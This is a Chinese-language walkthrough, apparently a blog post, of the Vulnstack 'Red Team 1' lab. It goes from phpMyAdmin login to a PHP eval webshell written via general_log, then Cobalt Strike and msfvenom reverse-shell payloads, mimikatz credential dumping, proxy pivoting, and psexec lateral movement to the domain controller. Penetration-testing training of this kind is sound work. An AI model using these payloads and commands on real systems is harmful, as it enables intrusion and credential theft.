红一
- 环境搭建
1. 实验环境拓扑如下:
2. 下载好镜像文件,下载地址: http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ (13G,需要百度网盘会员)
3. 需要模拟内网和外网两个网段, Win7 虚拟机相当于网关服务器,所以需要两张网卡,一个用来向外网提供web服务,一个是通向内网。添加网络设配器如下图
将 Win7 的网络适配器 1 设置成 VMnet1 仅主机模式(内网),网络适配器 2 设置成 NAT 模式(外网)
而 Win2003、Win2008 网络适配器设置成VMnet1仅主机模式(内网)。
网络配置完成,这三台虚拟主机默认开机密码都是 hongrisec@2019(开机提示密码已过期,更改为 123qwe.即可)登录查看三台虚拟机的ip地址如下:
windows7:(内:192.168.52.143 / 外:192.168.44.134(外网根据你的物理机进行分配))
windows2003:(内:192.168.52.141)
windows2008:(内:192.168.52.138)
开机之后更新一下Vmware TOOls
更新之前
更新之后
最后在 Win7 外网服务器主机的 C 盘找到 PhpStudy 启动 Web 服务
靶场的环境搭建完毕
二.Web渗透
1.信息收集
(1)我们使用nmap进行扫描 nmap -T4 -A 192.168.44.134(nmap的使用-A:全面扫描 -T4: 快速扫描)
扫描工具很多,能不能扫出有用信息还是看字典是否强大,可以看到目标80端口开启,3306端口开放
(2)我们访问http://192.168.44.134/phpmyadmin,可以看到数据库管理后台
我们猜测用户名和密码是root root,可以看到登录成功
(3)我们尝试into outfile写入木马进行getshell,想在网站内部写入木马,需要知道网站的绝对路径,可以通过报错获取路径,用select @@basedir;查询,通过查询phpinfo.php等等多种方法,这里我们使用select @@basedir;进行查询。
(4)然后通过执行select ‘ php eval($_POST[pass]);?>’into outfile ‘C:/phpStudy/www/webshell.php’;(注意这里的符号都是英文状态,不然会报错)将木马写入到网站的根目录
我们可以看到写入失败,通过查询得知这里不能使用into outfile的方式写入shell,可以通过执行“show variables like ‘%secure_file%’;”查询下是否能直接写入shell。这里secure_file_priv的值为NULL,说明不能使用into outfile的方式写入shell。
(5) 尝试日志写入shell
查看日志状态:show variables like ‘%general%’,我们可以看到是关闭的
这里我们说一下general_log和general_log_file:
mysql打开general_log开关之后,所有对数据库的操作都将记录在general_log_file指定的文件目录中,以原始的状态来显示,如果将general_log开关打开,general_log_file指定一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,可以通过访问general_log_file指定的文件来获取webshell。
开启日志记录:set global general_log = “ON”;再查询日志状态,是开启的
(6)执行命令:set global general_log_file=‘C:/phpStudy/www/web.php’,指定日志写入到网站根目录的 web.php 文件.
访问日志文件
(7)我们连接蚁剑(使用蚁剑的时候,记得关闭杀毒软件),密码是pass,我们可以看到连接成功
2. WEB后台上传GetShell
(1)在我们目录扫描中,还扫到了我们的网站备份源码
(2) 我们搭建yxcms 系统,浏览器访问http://192.168.44.134/yxcms/
我们根据提示成功进入网站后台
(3) 可以新建一个木马文件,前台模块-管理模块文档-新建
我们可以看到文件已上传,可通过前面下载的beifen.rar文件来查找acomment.php文件来确定文件上传的路径:
(4) 蚁剑成功连接
(5) 留言板处存在xss漏洞:
三. 内网信息收集
1. 使用CS植入Backdoor
(1)我们在kali或者Windows里面安装CS,我们在kali里面启动CS,我们需要开2个终端
(2) 先新建监听,主机IP填写kali的ip
(3)我们生成后门
(4)生成后,使用蚁剑进行上传到靶机
(5) 上传后使用蚁剑中使用终端命令行执行start web.exe, 可以看到我们 CS 客户端靶机上线
(6) 我们进行提权到 SYSTEM 系统权限账户。
2.信息收集
(1) 由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成5,但实际中频率不宜过快,容易被发现。
(2) 开始简单进行信息收集,常用到的有以下
ipconfig /all 查看本机ip,所在域
route print 打印路由信息
net view 查看局域网内其他主机名
arp -a 查看arp缓存
whoami
net start 查看开启了哪些服务
net share 查看开启了哪些共享
net share ipc$ 开启ipc共享
net share c$ 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" 建立c盘共享
dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user目录下的文件
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user 查看本机用户列表
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net user 用户名 /domain 获取指定域用户的信息
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group "domain admins" /domain 查看域管理员的名字
net group "domain computers" /domain 查看域中的其他主机名
net group "doamin controllers" /domain 查看域控制器(可能有多台)
(3) 使用ipconfig /all 判断是否存在域, 可以看到存在gob.org域
也可以执行命令net config Workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息
(4) 获取域内用户的详细信息:wmic useraccount get /all
(5) 查看是否存在杀毒进程:tasklist
除了使用CS外,我们也可以使用msf进入操作。
3.msf
(1)使用msf生成shell.exe
(2) 将shell.exe使用蚁剑上传到web服务器中。msf开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.44.130
set lport 6666
exploit
我们可以看到没有反弹成功,我们换一个端口4444
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.130 LPORT=4444 -f exe -o door.exe
(3) 运行door.exe,msf成功反弹shell
(4) msf中getsystem也可直接提权
(5)MSF使用_MSF中kiwi(mimikatz)模块的使用
1) 首先:提权到system权限:
一是当前的权限是administrator用户;
二是利用其它手段先提权到administrator用户。然后administrator用户可以直接在meterpreter_shell中使用命令getsystem提权到system权限。
2)进程迁移
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。
所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
查看进程信息:ps
把进程迁移到PID为504这个程序中(因为当前用户):
注:因为目标系统是64位的所以需要把meterpreter进程迁移到一个64位程序的进程中。
load kiwi #加载kiwi模块
help kiwi #查看kiwi模块的使用
creds_all: #列举所有凭据
creds_kerberos: #列举所有kerberos凭据
creds_msv: #列举所有msv凭据
creds_ssp: #列举所有ssp凭据
creds_tspkg: #列举所有tspkg凭据
creds_wdigest: #列举所有wdigest凭据
dcsync: #通过DCSync检索用户帐户信息
dcsync_ntlm: #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create: #创建黄金票据
kerberos_ticket_list: #列举kerberos票据
kerberos_ticket_purge: #清除kerberos票据
kerberos_ticket_use: #使用kerberos票据
kiwi_cmd: #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam: #dump出lsa的SAM
lsa_dump_secrets: #dump出lsa的密文
password_change: #修改密码
wifi_list: #列出当前用户的wifi配置文件
wifi_list_shared: #列出共享wifi配置文件/编码
3)该命令可以列举系统中的明文密码: creds_all #列举所有凭据
四. 内网横向渗透
利用MSF横向渗透可以使用cs和MSF两种方式进行横向渗透。这里以CS作为演示。(2008,2003可以使用永恒之蓝进行)
1.第一步就是生成exe,然后拿到shell(上面已经讲过)
2.进行目标主机信息收集
3.横向探测
(1)获取到一个 cs 的 beacon 后可以目标内网情况和端口开放情况
在 beacon 上右键 -> 目标 -> 选择 net view 或者 port scan
(2). 执行后可以在 Targets 选项卡看到扫描出来的主机
(3). 用 cs 的 hashdump 读内存密码:hashdump,用 mimikatz 读注册表密码:logonpasswords
4.横向移动#
这里有很多种方式,可以:
1.)cs 上开通 socks 通道,在攻击机上用 proxychains 将攻击机的 msf 代入内网,但是 cs 的 socks 代理不稳定
2.)ew 添加转接隧道,在攻击机上用 proxychains 将攻击机的 msf 代入内网
3.)cs 派生到 msf,msf 使用 socks4a 代理进内网,但是并不稳定
4.)cs 派生到 msf,msf 使用使用 autoroute 添加路由进内网
5.)用 frp 创建 socks5 代理
5.SMB Beacon
另外这里还要介绍下 cs 派生 SMB Beacon
SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效
简单来说,SMB Beacon 有两种方式
第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash
1)新建一个 Listener,payload 设置为 Beacon SMB:
2)选择后会反弹一个子会话,在 external 的 ip 后面会有一个链接的小图标:
这就是派生的 SMB Beacon,当前没有连接
可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它
第二种在已有的 beacon 上创建监听,用来作为跳板进行内网穿透
前提是能够通过 shell 之类访问到内网其他主机
6. psexec使用凭证登录其他主机
前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息
于是可以尝试使用 psexec 模块登录其他主机
1)右键选择一台非域控主机 ROOT-TVI862UBEH 的 psexec 模块
2)执行效果如下:
3) 这几条命令,执行后得到了 ROOT-TVI862UBEH 这台主机的 beacon
如法炮制得到了域控主机 OWA 的 beacon:
来源地址:https://blog.csdn.net/qq_58091216/article/details/130457897